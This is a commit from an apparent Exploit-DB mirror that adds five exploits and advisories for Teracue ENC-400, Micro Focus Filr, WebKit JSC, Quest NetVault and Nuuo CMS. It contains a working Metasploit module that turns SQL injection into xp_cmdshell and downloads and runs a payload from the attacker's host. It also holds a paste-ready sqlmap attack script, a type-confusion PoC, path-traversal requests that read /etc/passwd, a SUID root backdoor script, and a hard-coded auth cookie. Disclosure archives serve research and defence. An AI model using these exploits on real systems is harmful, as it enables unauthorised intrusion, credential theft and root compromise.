bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2019-02-23

Browse source 
5 changes to exploits/shellcodes

WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter

Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)
Quest NetVault Backup Server < 11.4.5 - Process Manager Service SQL Injection / Remote Code Execution
Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation
Teracue ENC-400 - Command Injection / Missing Authentication
This commit is contained in:
Offensive Security 2019-02-23 05:01:55 +00:00
parent f7381cfe15
commit e2ed64fffa
6 changed files with 668 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

118
exploits/hardware/webapps/46451.txt Normal file
View file

@ -0,0 +1,118 @@
Introduction
============
Multiple vulnerabilities were identified within the Teracue ENC-400,
including pre-authenticated remote code authentication. While the vendor
has released updated firmware after these issues were identified, they are
not all resolved with the latest version of the firmware.
Product
=======
The Teracue ENC-400 is accessible over an HTTP interface, which allows
device configuration (including setting passwords or video stream
destinations and servers). The vendor describes the device as follows:
This HD/SD H.264 fanless video encoder is able to deliver multiple streams
in multiple bitrates and protocols to multiple destinations. [1]
These issues affect firmware versions v2.56 or below.
Note that the latest version of firmware, v2.57, does not adequately
resolve all identified issues. Specific notes have been added to issues in
the Technical Details section.
Technical Details
=================
1) Command injection in login form
----------------------------------
CVE-2018-20218
The login form passes user input directly to a shell command without any
kind of escaping or validation.
In the file /usr/share/www/check.lp:
#!/usr/bin/env cgilua.cgi
<%
local pass = cgilua.POST.password
local com1 = os.execute("echo \'"..cgilua.POST.password.."\' | (su -c
/bin/true)")
An attacker is able to perform command injection using the "password"
parameter displayed on the login form. An example "password" to bypass this
authentication would be:
f' > /dev/null #
It is also possible for an attacker to simply execute code directly on the
server.
* Resolution Status *
While this instance of remote code execution has been resolved, the
resolution does not protect the entire codebase.
In /usr/share/www/web/system_password.lp:
local oldpass = cgilua.POST.oldpass
local newpass = cgilua.POST.newpass
local com1=os.execute("echo '"..oldpass.."' | (su -c 'echo '"..oldpass.."'
| (su root -c '/bin/true') > /dev/null 2>&1 ; echo $?')")
This allows an authenticated user to execute commands without knowing the
existing password. This is particularly important given the insufficient
resolution of CVE-2018-20219 (issue 2).
2) Hard-coded authentication token
----------------------------------
CVE-2018-20219
After successful authentication, the device sends an authentication cookie
to the end user such that they can access the devices web administration
panel. This token is hardcoded to a string in the source code.
In the file /usr/share/www/check.lp:
cookies.sethtml("AuthByPasswdENC400","Teracue:dGFpOfrtmR1bW1thrf5dGV4nhyxxdA==",{path='/'})
(Note: Line may be slightly different in different firmware versions,
though the token is still the same).
By simply setting this cookie in a browser, an attacker is able to maintain
access to every ENC-400 device without knowing the password. Even if a user
changes the password on the device, this token is static and unchanged.
This results in an authentication bypass.
* Resolution Status *
While this cookie is now dynamically generated, the latest code generates
cookie values from the current time in seconds.
In the file /usr/share/www/check.lp:
math.randomseed(os.time())
local cookie_value=RandomVariable(30)
An attacker is able to trivially bypass authentication simply by knowing
the approximate time of the last successful authentication.
2) Missing authentication on sensitive endpoints
---------------------------------------------------------------------------------
CVE-2018-20220
While the web interface requires authentication before it can be interacted
with, a large portion of the HTTP endpoints are missing authentication.
The "/configuration.xml" file, for example, includes all information
required to access a video stream, such as the IP and port information, and
any encryption information if specified.
* Resolution Status *
No verification was performed as to whether this issue was appropriately
resolved, or whether other files may be left unprotected.
Disclosure Timeline
===================
Attempts to contact vendor begin: August 30, 2018
Vendor contacted: September 7, 2018
Vendor acknowledges issues: October 23, 2018
Initial fixes released for testing: December 4, 2018
Response indicating insufficient fixes: December 4, 2018
Public firmware release: February 13, 2019
References
==========
[1] https://www.teracue.com/en/iptv-products/encoding

298
exploits/linux/webapps/46450.txt Normal file
View file

@ -0,0 +1,298 @@
SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/
Micro Focus Filr Multiple Vulnerabilities
1. *Advisory Information*
Title: Micro Focus Filr Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0001
Advisory URL: https://www.secureauth.com/labs/advisories/micro-focus-filr-multiple-vulnerabilities
Date published: 2019-02-20
Date of last update: 2019-02-20
Vendors contacted: Micro Focus
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Path traversal [CWE-22], Permissions, Privileges, and Access
Control [CWE-264]
Impact: Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-3474, CVE-2019-3475
3. *Vulnerability Description*
Novell (now part of Micro Focus [1]) website states that:
Micro Focus Filr [2] provides file access and sharing, and lets users
access their home directories and network folders from desktops, mobile
devices, and the Web. Users can also synchronize their files to their PC
or Mac. Changes that they make to downloaded copies are kept in sync
with the originals on their network file servers. And finally, users can
also share files internally and externally, and those with the share can
collaborate with each other by commenting on the files.
A vulnerability was found in the Micro Focus Filr Appliance, which would
allow an attacker with regular user access to read arbitrary files of
the filesystem. Furthermore, a vulnerability in the famtd daemon could
allow a local attacker to elevate privileges.
4. *Vulnerable Packages*
. Micro Focus Filr 3.4.0.217.
. Older versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
Micro Focus released Filr 3.0 Security Update 6 that addresses the
reported issues: https://download.novell.com/Download?buildid=nZUCSDkvpxk~
Also, Micro Focus published the following Security Notes:
. https://support.microfocus.com/kb/doc.php?id=7023726
. https://support.microfocus.com/kb/doc.php?id=7023727
6. *Credits*
These vulnerabilities were discovered and researched by Matias Choren
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.
7. *Technical Description / Proof of Concept Code*
7.1. *Path Traversal*
[CVE-2019-3474]
The 'filename' parameter of the '/ssf/f/viewFile' endpoint is vulnerable
to Path Traversal attacks. An authenticated, low-privileged user may be
able to abuse this functionality in order to read arbitrary files on the
filesystem.
Proof of Concept:
1. As an authenticated user, upload a sample PDF file in the 'My Files'
section.
2. After the upload finishes, click on the small arrow next to the file
-> 'View Details'.
3. The browser will issue a few requests to the web application, one of
them being the one used for displaying the thumbnail of the file we've
just uploaded. This request has the following structure:
/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=t154758084657912375035546628304890001.jpg
-----/
4. If the 'viewType' parameter is set to 'image', as in this case, we
can escape the current directory and include arbitrary files, as long as
they are readable by the 'wwwrun' user (the user Apache Tomcat is
currently running as). For example, we could read the '/etc/passwd' file:
/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 10.2.45.32:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531
Connection: close
-----/
/-----
HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-UA-Compatible: IE=Edge
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Strict-Transport-Security: max-age=0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: image/jpeg
Date: Mon, 21 Jan 2019 14:53:37 GMT
Connection: close
Server: Filr
Content-Length: 1506
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
<...>
-----/
5. Also, an interesting file to look for would be
'/vastorage/conf/vaconfig.zip'. This zip file contains a bunch of
different configuration files, including 'mysql-liquibase.properties'
which, among other things, defines connection parameters such as the
username and password (base64 encoded) for the MySQL database:
/-----
referencePassword==?UTF-8?B?Zmlscg==?=
referenceUrl=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
url=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
password==?UTF-8?B?Zmlscg==?=
driver=com.mysql.jdbc.Driver
referenceUsername=filr
referenceDriver=com.mysql.jdbc.Driver
username=filr
-----/
7.2. *Local Privilege Escalation*
[CVE-2019-3475]
As per the description: 'novell-famtd provide CIFS & NCP file access
support for Filr server to request and respond to HTTP request coming
from Filr Client/ Browser'. This daemon runs during startup and can be
abused to elevate privileges on a Filr appliance.
Proof of Concept:
1. The 'famtd' binary located at '/opt/novell/filr/bin/' and its
containing folder are owned by the 'wwwrun' user, as can be seen next:
/-----
wwwrun@filr:/opt/novell/filr/bin> ls -lha
total 196K
drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 .
drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 ..
-rwxr-x--- 1 wwwrun www 23K feb 8 2017 famtconfig
-rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd
-rwxr-x--- 1 wwwrun www 905 feb 8 2017 famt_log_config.sh
-rwxr-x--- 1 wwwrun www 31K jun 21 2018 kablink-teaming-tools.jar
wwwrun@filr:/opt/novell/filr/bin>
-----/
2. This binary is referenced and later executed in the
'/etc/init.d/novell-famtd' init script, meaning that it will run with
root privileges on startup:
/-----
#
# /etc/init.d/novell-famtd
#
<...>
# Check for missing binaries (stale symlinks should not happen)
# Note: Special treatment of stop for LSB conformance
FAMT_BIN=/opt/novell/filr/bin/famtd
<...>
## Start daemon with startproc(8). If this fails
## the return value is set appropriately by startproc.
ulimit -c unlimited
/sbin/startproc $FAMT_BIN
<...>
-----/
3. If an attacker manages to run arbitrary commands on the Filr
appliance as the 'wwwrun' user, they could replace the
'/opt/novell/filr/bin/famtd' binary with, for example, a custom bash
script that writes a SUID backdoor on the filesystem:
/-----
#!/bin/bash
# C snippet for setting group and user identity to 'root'
FILE="/tmp/exp.c"
/bin/cat <<EOM >$FILE
#include <unistd.h>
int main(void) {
setgid(0);
setuid(0);
setegid(0);
execl("/bin/bash", "bash", 0);
}
EOM
# Compile it
gcc /tmp/exp.c -o /tmp/exp
# Set suid bit
chmod -c 4755 /tmp/exp
# Call the original famtd daemon
/opt/novell/filr/bin/famtd.back
-----/
4. After a server reboot, we can run '/tmp/exp' and get root privileges
on the server:
/-----
wwwrun@filr:/tmp> id
uid=30(wwwrun) gid=8(www) groups=8(www)
wwwrun@filr:/tmp> ls -lha
total 96K
drwxrwxrwt 18 root root 4,0K ene 21 17:15 .
drwxr-xr-x 27 root root 4,0K ene 21 14:14 ..
<...>
-rwsr-xr-x 1 root root 12K ene 21 17:14 exp
-rw-r--r-- 1 root root 137 ene 21 14:14 exp.c
<...>
wwwrun@filr:/tmp> ./exp
filr:/tmp # id
uid=0(root) gid=0(root) groups=0(root),8(www)
filr:/tmp #
-----/
8. *Report Timeline*
2019-01-23: SecureAuth sent an initial notification to Micro Focus including a draft advisory.
2019-01-23: Micro Focus acknowledged reception of initial contact.
2019-01-24: Micro Focus confirmed the reported vulnerabilities and
informed that they were aiming to deliver a patch around mid February.
2019-01-23: SecureAuth thanks the reply.
2019-02-11: SecureAuth asked for an update.
2019-02-11: Micro Focus replied saying that they were expecting to release the patch by the end of the week.
2019-02-11: SecureAuth proposed to set the publication date for next week.
2019-02-13: Micro Focus confirmed February 20th as the release date.
2019-02-20: Advisory SAUTH-2019-0001 published.
9. *References*
[1] https://www.microfocus.com/novell/
[2] https://www.novell.com/documentation/filr-3/filr-overvw/data/what_is_filr.html
10. *About SecureAuth Labs*
SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.
11. *About SecureAuth*
SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, SecureAuth is powering an identity
security revolution by enabling people and devices to intelligently
and adaptively access systems and data, while effectively keeping bad
actors from doing harm. By ensuring the continuous assessment of risk
and enablement of trust, SecureAuth's highly flexible platform makes
it easier for organizations to prevent the misuse of credentials. To
learn more, visit www.secureauth.com, call (949) 777-6959,
or email us at info@secureauth.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2019 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:

62
exploits/multiple/dos/46448.js Normal file
View file

@ -0,0 +1,62 @@
/*
https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392
if (value.attributes() & PropertyAttribute::PropertyCallback) {
JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
return;
}
if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
const DOMJIT::GetterSetter* domJIT = value.domJIT();
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}
if (value.attributes() & PropertyAttribute::DOMAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}
CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.
PoC:
*/
function opt(o) {
return o.r.input;
}
Object.assign({}, RegExp); // Reifying
for (let i = 0; i < 200000; i++) {
opt({r: RegExp});
}
let input = opt({r: RegExp}); // Pulling the CustomGetterSetter object.
let o = {
a0: 0x1234,
a1: 0x1234,
a2: 0x1234,
a3: 0x1234,
a4: 0x1234,
a5: 0x1234,
a6: 0x1234,
a7: 0x1234,
a8: 0x1234,
a9: 0x1234,
a10: 0x1234,
a11: 0x1234,
}
o.input = input;
print(o.input); // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.

50
exploits/multiple/webapps/46446.txt Normal file
View file

@ -0,0 +1,50 @@
# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417
# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
#
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests.
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this
# vulnerability to execute code in the context of the underlying database."
# Fill out the variables then copy paste everything below this line into a kali terminal
#target ip address
target=x.x.x.x
#target port
port=8443
#username
username=admin
#password is blank by default!
password=
cookie=$(curl -i -s -k -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch

135
exploits/windows/remote/46449.rb Executable file
View file

@ -0,0 +1,135 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Nuuo
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',
'Description' => %q{
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
This module will either use a provided session number (which can be guessed with an auxiliary
module) or attempt to login using a provided username and password - it will also try the
default credentials if nothing is provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2018-18982' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground
'Targets' =>
[
[ 'Nuuo Central Management Server <= v2.10.0', {} ],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Privileged' => false, # we run as NETWORK_SERVICE
'DisclosureDate' => 'Oct 11 2018',
'DefaultTarget' => 0))
register_options [
Opt::RPORT(5180),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
]
end
def inject_sql(sql, final = false)
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
if final
nucs_send_msg_async(sql)
else
nucs_send_msg(sql)
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
unless @pl
print_error("A request came in, but the payload wasn't ready yet!")
return
end
print_good('Sending the payload to CMS...')
send_response(cli, @pl)
Rex.sleep(3)
print_status('Executing shell...')
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
register_file_for_cleanup("c:/windows/temp/#{@filename}")
end
def create_hex_cmd(cmd)
var = rand_text_alpha(2)
hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
cmd.each_byte { |b|
hex_cmd << b.to_i.to_s(16)
}
hex_cmd << "; exec (@#{var})"
end
def primer
# we need to roll our own here instead of using the MSSQL mixins
# (tried that and it doesn't work)
service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
@filename = "#{rand_text_alpha_lower(8..10)}.exe"
ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
download_pl = %{xp_cmdshell }
download_pl << %{'cd C:\\windows\\temp\\ && }
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}
print_status('Injecting PowerShell payload')
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
register_file_for_cleanup("c:/windows/temp/#{ps1}")
end
def exploit
nucs_login
unless @nucs_session
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
end
@pl = generate_payload_exe
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
datastore['SSL'] = true if ssl_restore
end
end
end

5
files_exploits.csv
View file

@ -6334,6 +6334,7 @@ id,file,description,date,author,type,platform,port
46442,exploits/windows/dos/46442.py,"Virtual VCR Max .0a - '.vcr' Buffer Overflow (PoC)",2019-02-21,"Wade Guest",dos,windows,
46443,exploits/android/dos/46443.py,"ScreenStream 3.0.15 - Denial of Service",2019-02-21,s4vitar,dos,android,
46445,exploits/android/dos/46445.c,"AirDrop 2.0 - Denial of Service (DoS)",2019-02-21,s4vitar,dos,android,
46448,exploits/multiple/dos/46448.js,"WebKit JSC - reifyStaticProperty Needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter",2019-02-22,"Google Security Research",dos,multiple,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -17211,6 +17212,7 @@ id,file,description,date,author,type,platform,port
46392,exploits/windows/remote/46392.txt,"mIRC < 7.55 - 'Custom URI Protocol Handlers' Remote Command Execution",2019-02-18,ProofOfCalc,remote,windows,
46436,exploits/hardware/remote/46436.rb,"Belkin Wemo UPnP - Remote Code Execution (Metasploit)",2019-02-20,Metasploit,remote,hardware,
46444,exploits/hardware/remote/46444.txt,"MikroTik RouterOS < 6.43.12 (stable) / < 6.42.12 (long-term) - Firewall and NAT Bypass",2019-02-21,"Jacob Baines",remote,hardware,
46449,exploits/windows/remote/46449.rb,"Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)",2019-02-22,Metasploit,remote,windows,5180
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -40900,3 +40902,6 @@ id,file,description,date,author,type,platform,port
46426,exploits/php/webapps/46426.txt,"Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection",2019-02-19,"Mr Winst0n",webapps,php,80
46427,exploits/java/webapps/46427.txt,"Jenkins - Remote Code Execution",2019-02-19,orange,webapps,java,
46429,exploits/php/webapps/46429.txt,"HotelDruid 2.3 - Cross-Site Scripting",2019-02-20,"Mehmet EMIROGLU",webapps,php,80
46446,exploits/multiple/webapps/46446.txt,"Quest NetVault Backup Server < 11.4.5 - Process Manager Service SQL Injection / Remote Code Execution",2019-02-22,"Chris Anastasio",webapps,multiple,
46450,exploits/linux/webapps/46450.txt,"Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation",2019-02-22,SecureAuth,webapps,linux,
46451,exploits/hardware/webapps/46451.txt,"Teracue ENC-400 - Command Injection / Missing Authentication",2019-02-22,"Stephen Shkardoon",webapps,hardware,

Can't render this file because it is too large.